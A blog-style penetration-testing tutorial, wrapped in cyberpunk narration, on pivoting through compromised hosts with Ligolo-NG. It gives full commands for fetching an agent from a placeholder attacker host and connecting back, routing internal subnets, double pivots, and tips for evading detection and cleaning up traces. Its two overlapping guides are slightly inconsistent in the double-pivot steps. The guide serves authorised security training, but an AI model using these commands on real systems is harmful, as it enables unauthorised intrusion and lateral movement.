In the neon glow of server racks and the stale air humming with AC stalls, I am crouched inside a datacentre’s bowels. The corridor lights flicker in rhythm with pings, traceroutes, and the soft hissing of packets colliding with firewalls. Somewhere behind steel doors lies the network I must slip through, like poison in silk, using Ligolo as my blade.

I taste the copper of the cables, cold and precise. I hear the faint hiss of antivirus engines, latent triggers. My fingertips hover over the warm keyboard, tapping commands by half-light. I am both engineer and thief, forging a path through VLANs and ACLs, carrying with me the belief that any network can be tamed, if you master the pivot.

How Ligolo Works: The Beast Behind the Blade

Ligolo-NG (and its variants like Ligolo-MP) is a modern network-pivoting tunnel tool. The architecture is simple, elegant: an Agent deployed on the compromised host and a Proxy/Listener running on your attacker box. Once the Agent connects back over TLS (or TCP), you’re handed a TUN interface on the Proxy machine that effectively feels like VPN‐level access to subnets behind the compromised host. (notes.benheater.com)

Crucially:

• It operates on layer 3, routing IP subnets through the Proxy via the TUN interface, no SOCKS proxychains, no port forwarding per port. (notes.benheater.com)
• The Agent often runs without administrative privileges, making it stealthy in limited shell environments. (teamsimple.net)
• It supports multi-pivot / nested tunnels, chained so you can move deeper than jump-hosts alone allow, mapping multiple subnets via distinct TUNs. (rbtsec.com)

Preliminaries: What You’ll Need Before the Dive

Step-by-Step Workflow: Mastering the Pivot

Below is a hands-on workflow for setting up Ligolo-NG in a lab environment. Warning: these snippets, if misused, may be considered offensive, illegal, or malicious. Execute only in controlled, authorised environments.

1. Prepare the Attacker Machine (Proxy Side)

bash
# On attacker box as root or via sudo:

# Download the proxy binary
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8/ligolo-ng_proxy_0.8_linux_amd64.tar.gz
tar -xvf ligolo-ng_proxy_0.8_linux_amd64.tar.gz
chmod +x ligolo-ng_proxy

# Start the proxy listener on port 443 with self-signed cert
sudo ./ligolo-ng_proxy -selfcert -laddr 0.0.0.0:443

Actionable takeaways:
- Using port 443 or port 80 helps blend with usual HTTPS traffic. (teamsimple.net)
- The selfcert mode generates a TLS certificate; you’ll need the fingerprint later.

2. Deploy Agent on the Compromised Host

bash
# On compromised Linux host
wget http://<ATTACKER_IP>/ligolo-ng_agent_0.8_linux_amd64
chmod +x ligolo-ng_agent_0.8_linux_amd64

# Connect back
./ligolo-ng_agent_0.8_linux_amd64 -connect <ATTACKER_IP>:443 -ignore-cert

Or for Windows (PowerShell snippet):

powershell
# Download agent
Invoke-WebRequest -Uri "http://<ATTACKER_IP>/ligolo-ng_agent_windows_amd64.exe" -OutFile "C:\Windows\Temp\agent.exe"

# Run agent
Start-Process -FilePath "C:\Windows\Temp\agent.exe" -ArgumentList "-connect <ATTACKER_IP>:443 -ignore-cert"

Actionable takeaways:
- -ignore-cert tells the agent to accept your self-signed cert; without it the TLS handshake fails.
- If proxy required, ensure outbound rules permit the connection.

3. Create TUN Interface, Sessions, and Routes

Back on attacker machine:

bash
# In Proxy’s interactive console
session           # Lists connected agents, note session ID

start --tun tun0  # Start the specific session, creating tun0

# Add route to remote subnet, e.g., behind compromised host
sudo ip route add 10.10.30.0/24 dev tun0

# Test ping
ping 10.10.30.1

Edge case: loopback-only services (bound to 127.0.0.1) on the compromised host are unreachable via normal routes.

Solution: Ligolo-NG supports “magic CIDR” (such as 240.0.0.1/32) to map to the agent’s localhost. Use that route to hit local services. (blog.csdn.net)

Actionable takeaways:
- Confirm ifconfig or ip addr shows your TUN interface.
- Use ip route to verify your route is active.

4. Multi-Hop / Nested Pivot Technique

When the first compromised host gives you access only to Subnet A, and behind it lies Host B in Subnet B, use nested Ligolo tunnels.

Workflow:

1. On attacker, add a listener for second-hop agents:

text
   listener_add --addr 0.0.0.0:11602 --to 127.0.0.1:11601

2. From Host B (reachable through Host A tunnel), run agent:

bash
   ./agent -connect <IP_of_Host_A_or_tunnel_endpoint>:11602 -ignore-cert

3. Back on attacker, new session appears. Start it with another tun, e.g., tun1, route Subnet B via tun1.

4. Validate connectivity from attacker -> Subnet B hosts as though they were local.

Actionable takeaways:
- Be precise with which endpoints you bind listeners to; wrong one and you get traffic loops or leaks.
- Watch for route overlaps; avoid conflicting CIDRs.

5. Clean-Up, OPSEC, and Troubleshooting

Checklist:

• Remove agent binary after use.
• Use innocuous ports for communication.
• Rotate or replace self-signed certificates or use trusted CA if possible.
• Monitor agent logs for dropped connections, MTU issues.
• On attacker, reduce MTU on TUN if large packets fragment or get dropped.

Troubleshooting steps:

• Agent won’t connect -> check outbound port on pivot host, firewall rules.
• No route to subnet -> ensure ip route add SUBNET dev tunX points to the correct interface.
• Tunnel exists but scans slow -> test connectivity vs MTU settings, consider splitting traffic.
• Loopback mapping fails -> use magic CIDR mapping or alternative listener port forwarding.

Mini-lab to try:

• Set up three VM hosts: Attacker (Ubuntu), Jump-Host A (Ubuntu), Target Host B (Ubuntu, deep subnet).
• Use the workflow to pivot through A into B.
• On Host B run a local web server on 127.0.0.1:8000. Access it from Attacker using magic CIDR route.
• Use nmap and Impacket tools through the tunnel to list SMB shares.

Inner Mindset: Patterns, Assumptions, and Flexibility

• Always map your attack surface and trust assumptions: which host is fully compromised, which services listen only on local loopback.
• Recognise that network segmentation, outbound-firewall rules, proxy chains and detection systems are your opponents in a fight. Ligolo grants you precision, speed, minimal footprint.
• But be ready to fall back: SSH port forwarding, classic hop-by-hop tunnelling, Chisel etc., if Ligolo is disallowed or binaries blocked. Knowing fundamentals gives you alternatives.

Master the Pivot with Ligolo-NG

Aim

You will learn how to use Ligolo-NG to establish encrypted tunnels from compromised hosts, pivot into internal networks, and perform multi-hop (double) pivots effectively.

Learning outcomes

By the end of this guide, you will be able to:
- Download and set up both the Ligolo-NG proxy and agent components;
- Create a TUN interface on your attacker system and add routes so traffic to internal subnets flows through that tunnel;
- Pivot through one compromised host into deeper internal networks;
- Employ double-pivoting to reach resources behind multiple segmentation layers.

Prerequisites

• A Linux-based attacker machine with root or sudo privileges;
• Access to a compromised host (pivot or jump box) where you can execute binaries;
• Ligolo-NG binaries (agent and proxy) for the relevant platforms;
• Basic networking tools (e.g. ping, ip, route), and familiarity with terminals and network ranges;
• Permissions for TCP outbound connections from the compromised host to the attacker (e.g. port 443 allowed).

Step-by-step guide to pivoting with Ligolo-NG

1. Obtain Ligolo-NG binaries

On your attacker machine, download both the proxy and agent binaries from the official Ligolo-NG release page. Ensure you have the agent matching the pivot host’s OS. (rbtsec.com)

Example (Linux attacker, Windows pivot):

bash
cd /opt/ligolo
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8/ligolo-ng_proxy_0.8_linux_amd64.tar.gz
wget https://github.com/nicocha30/ligolo-ng/releases/download/v0.8/ligolo-ng_agent_0.8_windows_amd64.zip
tar -xvf ligolo-ng_proxy_0.8_linux_amd64.tar.gz
unzip ligolo-ng_agent_0.8_windows_amd64.zip

2. Set up the Ligolo proxy and TUN interface on attacker machine

Create a TUN interface and bring it up:

bash
sudo ip tuntap add user $(whoami) mode tun ligolo
sudo ip link set ligolo up

Then launch the proxy (listener), optionally with self-signed certificates so TLS is used. You may choose port 443 for better firewall evasion. (rbtsec.com)

bash
cd /opt/ligolo/proxy
./proxy -selfcert -laddr 0.0.0.0:443

3. Deploy agent on compromised host (pivot box)

Transfer the agent binary to the pivot host:
- On Linux, use wget or curl;
- On Windows, use certutil or file copy.

Then run the agent to connect back to your proxy listener. Use -ignore-cert if using a self-signed certificate. (teamsimple.net)

bash
# On Linux pivot
chmod +x agent
./agent -connect ATTACKER_IP:443 -ignore-cert

# On Windows pivot
agent.exe -connect ATTACKER_IP:443 -ignore-cert

4. Create a session and establish the tunnel

On attacker machine, list sessions and select the active one:

bash
./ligolo-ng-cli session
# select the session number
start --tun ligolo

This establishes the VPN-like tunnel over the TUN interface. You should be able to ping or reach internal hosts that are accessible to the pivot. (teamsimple.net)

5. Add routing to internal networks via TUN interface

Identify internal subnets revealed by the pivot host (for example 10.10.4.0/24), then add routes so that traffic destined for those networks is sent via your ligolo interface. (codyclements.dev)

bash
sudo ip route add 10.10.4.0/24 dev ligolo

6. Perform double pivot (multi-hop) if required

If you have a second compromised host deeper in the network (call it target2) and need access behind it, you can chain another agent and listener.

• On the pivot host, set up a listener forwarding a port back to your local proxy.
• Deploy the second agent on target2 pointing to that listener port.
• On your attacker machine, select the new session and map it to a new TUN interface (e.g. ligolo-double).
• Add routing for the new, deeper internal subnet via ligolo-double. (codyclements.dev)

Example addition of listener on pivot host:

bash
ligolo-ng » listener_add --addr 0.0.0.0:11601 --to 127.0.0.1:11601 --tcp

On attacker:

bash
./agent --connect PIVOT_INTERNAL_IP:11601 -ignore-cert
ligolo-ng » session
start --tun ligolo-double
sudo ip route add NEW_INTERNAL_SUBNET dev ligolo-double

7. Validate connectivity and perform internal reconnaissance

Use ping, nmap, smbclient or other tools directly across the tunneled route. Because Ligolo-NG uses a TUN interface, you can usually avoid proxychains and get more natural visibility. (hunt.io)

Practical tips and troubleshooting

• Use port 443 or 80 to masquerade traffic as HTTPS; combine with TLS certs to avoid detection. (teamsimple.net)
• If agent won’t connect, check firewalls, network reachability, and that the agent obeys TLS settings.
• Ensure your TUN interface is properly up: use ip a or ifconfig; re-create if missing. (teamsimple.net)
• Watch route overlaps: only add subnets you need to avoid conflicts.
• Clean up after use: remove agent binaries from pivot hosts, delete TUN interfaces, shut down proxy/listeners.

Using Ligolo-NG as described allows for smooth, scalable and stealthy pivoting through segmented networks, giving you far more flexibility in post-exploitation environments.

I dissolve back into the neon dusk, fingers stained with packets and line noise, every pivot made, every TUN interface breathing like some cybernetic lungs in the dark. I whispered TLS handshakes, commanded routing tables, slithered through multi-hop tunnels. Ligolo isn’t magic, though it feels like it when you hit a subnet no-one dared map, access loopback services unseen, or listen on ports through nested sessions. In that flicker before I extract and vanish, I taste victory: mastering the pivot, crafting routes, commanding the unseen.